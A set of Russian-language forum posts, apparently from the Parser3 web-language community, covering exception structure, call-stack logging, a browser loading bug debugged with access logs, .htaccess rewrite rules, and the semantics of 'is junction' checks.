Upd. И нельзя ли сделать так, чтобы парсер в лог писал не только саму ошибку, но и стек, т.е. то, что он выводит в debug-е. Лучше всего по какому нибудь флагу конфигурационного файла, чтобы можно было включить на время разработки, отключить на продакте. Хотя это не критично"
"81777","предполагаю, что в первом случае просто нечем заполнять поля, так код не скомпилирован из-за синтаксической ошибки"
"81778","Вон они все данные присутствуют, просто разложены в $exception по другому. Такое ощущение, что эти два вида $exception писали разные люди"
"81779","скорее всего синтаксическому анализатору совсем не важно файл это, класс, метод..., он видит ошибку и сигнализирует о ее наличии"
"81780","[quote]Такое ощущение, что эти два вида $exception писали разные люди[/quote]\
\
Да нет, PAF это примерно в одно время все написал: http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/pa_request.C?r1=1.247&r2=1.248\
Как тут выше справедливо заметили, чтобы появился $.file, надо чтобы код выполнялся. Сейчас запись в логе примерно одинаковая получается, а про различия в структуре Exception думаю PAF не подумал, да и до вас мало кто внимание обращал. :) Попробовал \"обмануть\" систему:\
\
compile.C\
-               throw Exception(\"parser.compile\",\
-                       0,\
-                       \"%s(%d:%d): %s\",  file_list[file_no].cstr(), 1+pc.pos.line, 1+pc.pos.col,  pc.error);\
+               exception_trace.push(Trace(&String::Empty, Operation::Origin::create(file_no, pc.pos.line, pc.pos.col)));\
+               throw Exception(\"parser.compile\", 0, \"%s\", pc.error);\
\
Оно работает, но потом эта пустая строка появляется. Подумаю, может получится это обойти - этот код плохо покрыт тестами, не хочется баг посадить..."
"81781","Открыл веб инспектор, дока открылась.\
Смотрю запрос \
Request URL:http://www.parser.ru/docs/lang/parser3.ru_content.htm\
очень долго загружается.\
См. http://take.ms/FTYN7\
А хуже всего что он видимо в iframe и вообще через раз грузится\
См. http://take.ms/RXPTO\
Может быть в этом причина"
"81782","Вот так выглядит: https://yadi.sk/i/epx67s7Tjth9R\
\
Пришлось временно начать пользоваться фаерфоксом."
"81783","С точки зрения веб-сервера все отдается хорошо, ниже лог запросов с вашего IP. \
\
176.214.81.41 - - [21/Oct/2015:09:26:40 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/?intdoublefield.htm\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:26:33 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/?intdoubleclasses.htm\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:26:50 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/?intdoublefield.htm\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:27:00 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:39:04 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:39:17 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:49:35 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
176.214.81.41 - - [21/Oct/2015:09:49:28 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"-\" \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
\
http://www.parser.ru/f/1/docs/parser3_4_3.ru.chm у вас при этом нормально скачивается?"
"81784","И по вашему IP все OK (лог ниже). Интересная особенность - вы тоже клиент ER-Telecom. Может это баг DPI провайдера? Хорошо бы с этого же компьютера проверить через другого провайдера...\
\
109.195.85.194 - - [21/Oct/2015:13:47:15 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:47:11 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:47:19 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:47:43 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:48:27 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:48:51 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:49:14 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:57:13 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:57:38 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0\"\
109.195.85.194 - - [21/Oct/2015:13:58:47 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:59:42 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:13:59:35 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:14:08:35 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\"\
109.195.85.194 - - [21/Oct/2015:14:08:46 +0300] \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\" 200 122241 \"http://www.parser.ru/docs/lang/\" \"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0\""
"81785","Кстати, если это баг DPI провайдера, то почему тогда во всех остальных браузерах работает?"
"81786","Вы не тот URL дебажите\
Нужно дергать именно оглавление доки http://www.parser.ru/docs/lang/parser3.ru_content.htm\
Этот адрес работает не стабильно. Т.е. при прямом вывозе он работает.\
А вот когда дергаешь http://www.parser.ru/docs/lang/ где внутри грузятся фреймы - то работает, то не работает.\
Причем как я вижу только на движке вебкита (последний хром, опера и т.п.)\
\
PS офлайн дока скачивается нормально.\
PSs в частности у меня Хром Версия 46.0.2490.71 m (win7)"
"81787","Попробуйте поставить расширение Hola и через него посмотреть."
"81788","[quote]Вы не тот URL дебажите\
Нужно дергать именно оглавление доки http://www.parser.ru/docs/lang/parser3.ru_content.htm[/quote]\
\
Как это не тот? \"GET /docs/lang/parser3.ru_content.htm HTTP/1.1\".\
\
[quote]А вот когда дергаешь http://www.parser.ru/docs/lang/ где внутри грузятся фреймы - то работает, то не работает.[/quote]\
\
Так по логам видно, что сервер файл отдает всегда. Вообще этот URL отдается Apache, даже без парсера. Выключил для него SSI (на других страницах используется для вывода комментариев, здесь нет), добавил явное указание кодировки в заголовки. То есть теперь там еще есть и Last-Modified и ETag и кодировка. На этом мои идеи закончились. :)\
\
Да, у нас в Хроме/Windows 7 проблема не повторяется..."
"81789","[quote]Нельзя ли $exception привести к единообразному виду (второму)\
[/quote]\
\
Реализовано в ночных сборках (http://www.parser.ru/download/nightly/).\
Кроме того, теперь при компиляции @USE тоже фиксируется в стеке вызовов и стало видно, какой файл какой использует.\
\
[quote]Upd. И нельзя ли сделать так, чтобы парсер в лог писал не только саму ошибку, но и стек, т.е. то, что он выводит в debug-е. [/quote]\
\
Это несложно самостоятельно реализовать в @unhandled_exception."
"81790","1. Спасибо!\
\
2. Согласен, можно, просто хотелось \"из коробки\". Но как уже говорил - это не критично ;)"
"81791","Здравствуйте всем!\
У меня следующая проблема, пишу панель администрирования. В панели ссылки идут вот такие:\
/admin/sections?id=123&do=edit\
/admin/sections?id=123\
/admin/sections\
/admin\
(Кроме sections есть много других страниц)\
Кроме панели администрирование есть обычные страницы:\
/cat/subcat/post\
/cat/subcat\
/cat\
\
Привожу мой файл .htaccess\
[code]DirectoryIndex index.html\
\
Options -Indexes\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
<IfModule mod_rewrite.c>\
Options +FollowSymLinks\
RewriteEngine On\
RewriteBase /\
RewriteCond	%{REQUEST_FILENAME} !^favicon\\.ico\
\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^admin\\/(.*)\\/?$	/bulk/admin/?section=$1 [L,QSA]\
\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^admin\\/?$	/bulk/admin/$1 [L,QSA]\
\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^(.*)\\/(.*)\\/(.*)/?$	/?url=$1&uri=$2&pid=$3 [L,QSA]\
\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^(.*)\\/(.*)/?$	/?url=$1&uri=$2 [L,QSA]\
\
RewriteCond	%{REQUEST_FILENAME} !-f\
RewriteCond	%{REQUEST_FILENAME} !-d\
RewriteRule	^(.*)\\/?$	/?url=$1 [L,QSA]\
\
RewriteCond %{HTTP_HOST} ^www\\.(.*) [NC]\
RewriteRule ^(.*)$ http://%1/$1 [R=301,L]\
</IfModule>[/code]\
\
В панели администрирования есть ссылки:\
/admin/sections\
/admin/headings\
/admin/entries\
/admin/goods\
/admin/groups\
/admin/users\
/admin/subscribers\
/admin/counter\
\
Проблема в том, что часть ссылок направляет на страницу, а остальная часть отправляет на:\
/bulk/admin/?section=goods\
\
Хочу сделать так, когда ты в пределах /admin, то .htaccess направляет по заданной странице и передает параметры\
[code]$form:section\
$form:id\
$form:do[/code]\
а когда ты за пределами /admin, то обрабатывает адреса уже другой обработчик и передает параметры в\
[code]$form:url\
$form:uri\
$form:pid[/code]\
\
Сайт у меня базируется на следующем:\
rights.p:\
[code]@page_rules[]\
^switch[$get.auth.gID]{\
	^case[1]{\
		^admin.page[]\
	}\
	^case[DEFAULT]{^deafult.page[]}\
}\
\
@sidebar_rules[]\
^switch[$get.auth.gID]{\
	^case[1]{\
		^admin.sidebar[]\
	}\
	^case[DEFAULT]{^deafult.sidebar[]}\
}[/code]\
control.p:\
[code]^switch[$form:section]{\
	^case[sections]{\
		^sections[]\
	}\
	^case[headings]{\
		^headings[]\
	}\
	^case[entries]{\
		^entries[]\
	}\
	^case[goods]{\
		^goods[]\
	}\
	^case[groups]{\
		^groups[]\
	}\
	^case[users]{\
		^users[]\
	}\
	^case[subscribers]{\
		^subscribers[]\
	}\
	^case[counter]{\
		^counter[]\
	}\
	^case[DEFAULT]{\
		Deafult\
	}\
}[/code]\
\
Если неправильно объяснил суть проблемы, то вот в двух словах:\
В админке есть ссылка /admin/entries, когда на нее нажимаешь, приходишь не на /admin/entries, а на /bulk/admin/?section=entries, но это не всегда, часть ссылок направляет на нужную страницу, как исправить.\
\
/UPD/\
Изменил произвольно ссылки на\
/admin/sect\
/admin/hea\
/admin/en\
/admin/go\
/admin/gro\
/admin/us\
/admin/subsc\
/admin/coun\
и теперь все правильно переходит, не отправляет на страницу /bulk/admin/?section=\
Не могу понять причину этого явления"
"81792","Можно добавить в конец дефолтного @unhandled_exception что-то вроде этого, но не уверен, что стоит...\
\
[code]#^record_stack[$stack]\
\
@record_stack[stack][str]\
^if($stack){\
        ^stack.menu{\
                $str[${str}                           [$status:pid] $stack.name $stack.file^(${stack.lineno}:$stack.colno^)^#0A]\
        }\
        ^str.save[append;/../cgi/parser3.log]\
}\
[/code]"
"81793","Допустим есть адрес /admin/groups\
Как определить что в нем есть слово admin?\
Пробую\
[code]$adress[$request:uri]\
^if(^adress.match[\\/(admin)\\.+]){${match.1}}{Нет совпадений}[/code]\
Пишет Нет совпадений"
"81794","[code]$nav[^table::create{name	url\
Разделы	_sections\
Подразделы	_headings\
Записи	_entries\
Товары	_goods\
Группы пользователей	_groups\
Пользователи	_users\
Рассылка	_subscribers\
Статистика	_counter\
}]\
\
^switch[$get.auth.gID]{\
	^case[1]{\
		^switch[$form:section]{\
			^case[_sections]{\
				^p_sections[]\
			}\
			^case[_headings]{\
				^p_headings[]\
			}\
			^case[_entries]{\
				^p_entries[]\
			}\
			^case[_goods]{\
				^p_goods[]\
			}\
			^case[_groups]{\
				^p_groups[]\
			}\
			^case[_users]{\
				^p_users[]\
			}\
			^case[_subscribers]{\
				^p_subscribers[]\
			}\
			^case[_counter]{\
				^p_counter[]\
			}\
			^case[DEFAULT]{\
\
			}\
		}\
	}\
	^case[DEFAULT]{}\
}\
\
^switch[$get.auth.gID]{\
	^case[1]{\
		<ul>\
			^nav.menu{\
				<li><a href=\"/admin/$nav.url\" title=\"$nav.name\" class=\"underline\">$nav.name</a></li>\
			}\
		</ul>\
	}\
	^case[DEFAULT]{}\
}[/code]\
\
В адреса страниц добавил _ и теперь нет ошибки с /bulk/admin/?section=, теперь направляет на /admin/_entries, но стоит убрать _ как проблема появляется."
"81795","[code]$address[^address.match[^^/admin(.+)]]\
^if($address){$address.1}{Нет совпадений}[/code]\
\
В выражении ерунда написана.\
Слэши и точку экранировать не нужно.\
Наверняка нужна часть пути после «/admin», а не сам «admin».\
Наверняка с «/admin» адрес должен начинаться, а не содержать этот фрагмент где угодно.\
\
^if(^adress.match[\\/(admin)\\.+]) — это проверка на совпадение, а не извлечение совпадений, последующее $match.1 ничего не вернёт, даже если строка совпадёт с выражением."
"81796","Все уже привыкли к ограничениям junction и его «взрыву в руках».\
Но, есть мнение, выполнение переданного кода про проверке на is junction и невыполнение при такой же проверке переданной ссылки на метод — странно.\
\
Зачастую нужно проверить, передан ли код параметром и если нет — выполнить некое действие по умолчанию.\
\
[code]@test[object;code]\
^if($code is junction){\
	$result[…]\
}{\
	$result[…]\
}[/code]\
Код выполняется, его результат string — проверка не проходит.\
\
Конечно, это можно обойти костылём с *args:\
[code]@test[object;*args]\
^if(^args.contains[0]){\
	$result[…]\
}{\
	$result[…]\
}[/code]\
но костылём.\
\
Быть может, стоит привести is junction к общему поведению и в случае кода, и в случае ссылки?\
Тем более, что код может быть довольно долгоживущим, передаваться между методами и даже модифицироваться без выполнения.\
А проверить существует ли он невозможно."
"81797","Код в переменной означает одно — значение переменной будет вычислено не сразу, а при обращении к переменной. Т.е. это механизм отложенного вычисления, а не хранилища текста программы. Поэтому любую переменную с кодом надо рассматривать как обычную переменную с известным значением. Если мы не хотим вычислять значение сразу, а хотим передать переменную с кодом дальше, то используем фигурные скобки, т.е. мы таким образом оттягиваем непосредственное вычисление значений. \
\
Junction-code хранит не только код для вычисления значения, но и контекст той функции, в которой код был написан. Без контекста вычислить значение кода попросту невозможно. Отсюда еще одно следствие — контекст «живет» очень не долго. Как только мы вышли из функции, то контекста больше не существует (локальные переменные потеряны) и вычислить значение кода нельзя. Поэтому передавать код можно только вглубь стека вызовов и вычислить значение надо как можно быстрее. Сохранять код во внешних переменных смысла не имеет.\
\
Из этого следует, что при проверке переменной с кодом на тип (is) сначала должно быть вычислено значение, а потом уже взят тип этого значения. \
\
Если сделать как ты предлагаешь, то мы можем получить фигню:\
\
[code]\
@func[value]\
# Функция ожидает число или строку\
  ^if($value is double){\
    ^value.format[%08d]\
  }{\
     $value\
   }\
\
# А мы вызываем ее с кодом\
^func{^eval(2+3)}\
\
# И получаем в результате, потому что is doublе не сработал:\
5\
# А предполагали, что получим 00000005.\
[/code]\
\
Таким образом получается, что алгоритм работы функции зависит от метода ее вызова, а такого быть не должно никогда.\
\
Совершенно другая ситуация, когда мы храним в переменной ссылку на функцию. Тут и с контекстом и с логикой все хорошо. Контекст долгоживущий — это объект, а не локальный контекст функции. Для вызова функции есть отдельный механизм. И проверка на тип вполне имеет смысл, потому что для функции нужен другой механизм:\
\
[code]\
@func[value;callback][locals]\
  ^if($value is double){\
    ^value.format[%08d]\
  }{\
     $value\
   }\
  ^if($callback is junction){\
    ^callback[$value]\
  }\
\
@log[value]\
  $result[]\
  ^value.append[/../logs/values.log]\
\
# Вызываем функцию и логируем значение\
^func{^eval(2+3)}[$log]\
\
# Тоже самое без логирования\
^func[5]\
[/code]\
\
Я бы предпочел переименовать is junction в is function, чтобы избежать проблемы с терминами и не требовалось объяснять почему проверка на junction-code  не имеет смысла. :)"
"81798","... когда нам надо выдать ошибку, если в аргументе пришло значение, а не код. Так как это делают ^if, ^for и другие встроенные функции.\
\
Я бы сделал аннотацию у параметров:\
[code]\
@myfor[var;from;to;code:code;separator]\
# Если в code пришел не код, то Парсер вывалит исключение «параметр code должен быть кодом».\
\
[/code]\
\
Если давать пользователю проверять, то сделать другой синтаксис:\
[code]\
@myfor[var;from;to;code;separator]\
  ^if($code has code){...}\
  ^if(^reflection:argument_has_code[code]){...}\
[/code]\
Этот подход мне нравится меньше, потому что позволит писать функции, которые зависят от типа вызова."
"81799","[quote]Из этого следует, что при проверке переменной с кодом на тип (is) сначала должно быть вычислено значение, а потом уже взят тип этого значения.[/quote]\
\
Не совсем согласен.\
Логика в этом есть, но это сродни проверке возвращаемого методом значения — когда передана ссылка на метод — вместо проверки переданной ссылки.\
\
[quote]Если сделать как ты предлагаешь, то мы можем получить фигню:\
@func[value]\
# Функция ожидает число или строку\
  ^if($value is double){\
    ^value.format[%08d]\
  }{\
     $value\
   }[/quote]\
\
Функция странная, ей может прийти int, который она не отформатирует или число в виде строки, которое тоже будет пропущено мимо.\
Проверки должны быть хитрее и полагаться только на проверку типа нельзя.\
\
[quote]# А мы вызываем ее с кодом\
^func{^eval(2+3)}[/quote]\
\
Вызов с круглыми скобками, кстати, тоже junction:\
[code]^func(2 + 3)[/code]\
\
[quote]Я бы предпочел переименовать is junction в is function, чтобы избежать проблемы с терминами и не требовалось объяснять почему проверка на junction-code не имеет смысла.[/quote]\
\
Можно, конечно, и новый тип проверки сделать.\
Но и привести к единообразию текущую можно:\
1. is junction никогда не вызывает срабатывания;\
2. чтобы узнать тип возвращаемого значения к junction (вне зависимости ссылка это или код) нужно явно обратиться и получить значение.\
\
Считаю, что так более логично, но это вполне может быть несовместимостью.\
Твои примеры имеют право на жизнь и могут встречаться в живом коде.\
\
[quote]Я бы сделал аннотацию у параметров:\
@myfor[var;from;to;code:code;separator]\
# Если в code пришел не код, то Парсер вывалит исключение «параметр code должен быть кодом».\
Если давать пользователю проверять, то сделать другой синтаксис:\
@myfor[var;from;to;code;separator]\
  ^if($code has code){...}\
  ^if(^reflection:argument_has_code[code]){...}\
Этот подход мне нравится меньше, потому что позволит писать функции, которые зависят от типа вызова.[/quote]\
\
Кстати, а separator тоже может быть кодом, а может не быть.\
По аналогии с оным у menu и foreach.\
\
Это совершенно логично, а проверить такую ситуацию сейчас невозможно.\
И с декларацией code: тоже невозможно, только с отдельным типом проверки, тем же «has code».\
\
\
Самое совместимое, пожалуй, is junction — ссылки на методы, отдельный тип is code — для кода."
"81800","> Проверки должны быть хитрее и полагаться только на проверку типа нельзя.\
\
На мой взгляд, проверок вообще быть не должно. В динамическом языке типом оперировать не стоит совсем. Я у себя выпиливаю все эти проверки как бессмысленные. :)"
"81801","Если вся логика завязана на разные типы.\
\
А поддерживаемый интерфейс проверить нельзя."
"81802","Если интерфейс неверный, то получим эксепшн и посмотрим, где накосячили. Если интерфейс верный, то лишняя проверка нафиг не нужна."
"81803","Как сделать, чтобы строки, начинающиеся с #, не удалялись, а выводились?\
\
@body[]\
\
#Заголовок\
\
Текст"
"81804","Символ #, как и другие описанные здесь, служебный: http://www.parser.ru/docs/lang/stringlit.htm"
"81805","Конкретная ситуация:\
\
$f[^file::exec[Markdown.pl;\
$.stdin[\
^body[]\
]]]]\
$f.text\
\
@body[]\
# Заголовок\
Здесь текст\
\
Если экранировать ^#, теряется прямая совместимость с разметкой Markdown\
(Markdown превращает # в <h1>)"
"81806","Должен огорчить участников дискуссии - ваше обсуждение носит в достаточной степени теоретический характер. :) При работе $v is junction сначала вычисляется $v и только потом вызывается оператор is. И нет никакой разницы, написан $v внутри if или в теле метода, код (junction) в обоих случая выполняется в момент обращения к нему и понятия не имеет как будет потом использован. То есть при всем желании поменять текущее поведение проблематично. И думаю понятно, что код может быть передан не только непосредственным параметром, но например и как ^m[ $.params[ $.code{some code} ] ]."
"81807","Понятно, что выполняется.\
Непонятно, почему переданный по ссылке метод — не выполняется и is junction, а код — взрывается в руках.\
\
А насколько трудоёмко реализовать отдельный тип проверки is code для кода, который бы не приводил к выполнению?"
"81808","[code]\
@body[]\
$sharp[#]\
\
${sharp}Заголовок\
или\
^#Заголовок\
\
Текст\
[/code]"
"81809","[quote]Если экранировать ^#, теряется прямая совместимость с разметкой Markdown[/quote]\
\
Вы хотите прогнать код с одним синтаксисом через два разных языка. \
сначала через синтаксис Парсера, \
а потом через синтаксис Markdown, \
но вас не устраивает что их синтаксисы не совместимы.\
\
Вы же пишите метод @body[] а значит тот, кто пишет текст ниже\
по сути пишет код на Парсер.\
\
Если шаблон/текст для Markdown пассивный (не содержит кода на Парсер) то просто положите его в отдельный файл и прочитайте.\
Он не исполнится как код на Парсер.\
\
Например так:\
[code]\
$_tpl[^file::load[text;markdown.tpl]]\
\
$f[^file::exec[Markdown.pl;$.stdin[$_tpl.text]]]\
$f.text\
\
[/code]\
\
Соответственно внутри markdown.tpl\
все что угодно\
\
# Заголовок\
Текст\
\
А если вы хотите и код на Парсере внутри, то тут как ни крути.\
Вас же не смущает, что когда вы пишите HTML внутри JS-скрипта - вам приходится экранировать какие-то символы, т.к. вы находитесь\
в окружении синтаксиса JS, хотя номинально всё \"происходит\" в одном файле."
"81810","Просто Леха хочет того, что он хотеть не должен. ;)"
"81812","В паресере # - начало комментария, в Markdown - заголовок. Какая в принципе тут может быть совместимость? Или поясните что вы имеете ввиду, может не понял вас"
"81813","[quote]Непонятно, почему переданный по ссылке метод — не выполняется и is junction, [/quote]\
\
Метод - это метод, чтобы он выполнился - его надо вызвать (^), да еще параметры передать. \"is junction\" - историческое отражение внутреннего устройства. Они по факту трех подтипов - код, метод и getter.\
\
[quote]а код — взрывается в руках.[/quote]\
\
Да, обращение $code приводит к выполнению кода.\
\
[quote]А насколько трудоёмко реализовать отдельный тип проверки is code для кода, который бы не приводил к выполнению?[/quote]\
\
Еще раз - вы неправильно понимаете последовательность действий. Сначала выполняется код, а затем результат выполнения идет параметром оператору is.\
\
С точки зрения внутренней логики нет разницы между =$code= и $code is junction. Последовательность действий в первом случае (по факту конечно оптимальнее, тут важна суть):\
\
записать '=' в стек\
взять значение из стека и записать в текущий контекст вывода\
получить элемент с именем code (в этот момент выполняется код) и записать его в стек.\
взять значение из стека и записать в текущий контекст вывода\
записать '=' в стек\
взять значение из стека и записать в текущий контекст вывода\
\
Последовательность действий во втором случае:\
получить элемент с именем code (в этот момент выполняется код) и записать его в стек.\
записать 'junction' в стек\
вызвать оператор is с двумя параметрами из стека и поместить результат в стек.\
\
То есть $value всегда приводит к одним и тем же действиям, и куда пойдет результат выполнения - оператору is или куда-то еще - неизвестно. То есть в теории можно попробовать понять, что результат пойдет именно is (не знаю как), и вызывать \"не получить элемент\", а \"получить элемент без выполнения кода\", корректно обработать не только $code, но и $$code, и $a.b.$c.code (подобное недавно делалось, тут потребуется добавление опкодов). В общем задача совсем непростая..."
"81814","[quote]Еще раз - вы неправильно понимаете последовательность действий. Сначала выполняется код, а затем результат выполнения идет параметром оператору is.[/quote]\
\
Понимаю, в первом же сообщении пишу «код выполняется, его результат string — проверка не проходит».\
\
[quote]То есть $value всегда приводит к одним и тем же действиям, и куда пойдет результат выполнения - оператору is или куда-то еще - неизвестно. То есть в теории можно попробовать понять, что результат пойдет именно is (не знаю как), и вызывать \"не получить элемент\", а \"получить элемент без выполнения кода\", корректно обработать не только $code, но и $$code, и $a.b.$c.code (подобное недавно делалось, тут потребуется добавление опкодов).[/quote]\
\
Стало немного яснее, спасибо.\
\
Я надеялся, что есть информация о контексте и объект знает, с какой целью к нему обращаются.\
\
Но загадка, почему код не выполняется в таком случае:\
[code]^method{^throw[1;2]}\
\
@method[code]\
$code{\
	$code\
	^eval(2 * 2)\
}\
[/code]"
"81815","[quote]Но загадка, почему код не выполняется в таком случае: [/quote]\
\
Почему загадка? В методе есть только присвоение кода переменной $code. Чтобы этот код вызвался, надо к переменной обратиться, например так ($code2 чтобы не было endless recursion):\
\
[code]@method[code]\
$code2{\
    $code\
    ^eval(2 * 2)\
}\
$code2\
[/code]"
"81816","Я считал, что вот тут к коду есть обращение при присвоении.\
[code]@method[code]\
$code{\
    >>$code<<\
    ^eval(2 * 2)\
}[/code]"
"81817","[quote]Я считал, что вот тут к коду есть обращение при присвоении. [/quote]\
\
При присвоении код присваивается, а не выполняется. :) ^if(0){$code} - вас же не удивляет, что $code не выполнится, а конструкция по сути такая же..."
"81818","[quote]Я надеялся, что есть информация о контексте и объект знает, с какой целью к нему обращаются.[/quote]\
\
Подумалось, что ваш исходный вопрос решить наверное можно, поскольку про каждый параметр метода известно, junction он или нет.\
Можно добавить какой-нибудь ^reflection:param_class_name[имя параметра], и вот он уже будет выдавать junction для параметров переданных как {} или ()."
"81819","Не так изящно, как привычная проверка через is, но вполне вариант.\
\
Спасибо, подожду новостей."
"81820","Тут не ждать надо. :) В таких задачах самое сложное это хорошее название придумать, предложения принимаются. И да, подумалось, что логичнее не только у параметров, но и у любого элемента иметь возможность тип получить. Примерно так пока получилось:\
\
[quote]@main[]\
^method{1}\
^method[1]\
$var{1}\
^reflection:element_class_name[var]\
$var[1]\
^reflection:element_class_name[var]\
\
@method[code]\
^reflection:element_class_name[code]\
[/quote]\
\
Результат:\
\
junction\
string\
junction\
string"
"81821","А как оно будет себя вести в сложных случаях: self-поля класса, locals?\
\
Если передаётся не ссылка, а имя, значит его нужно по каким-то правилам искать.\
Как обычную переменную?"
"81822","^reflection:element_class_name[var] = $var.CLASS_NAME, за исключением того, что в случае junction код не исполняется."
"81823","Ясно.\
\
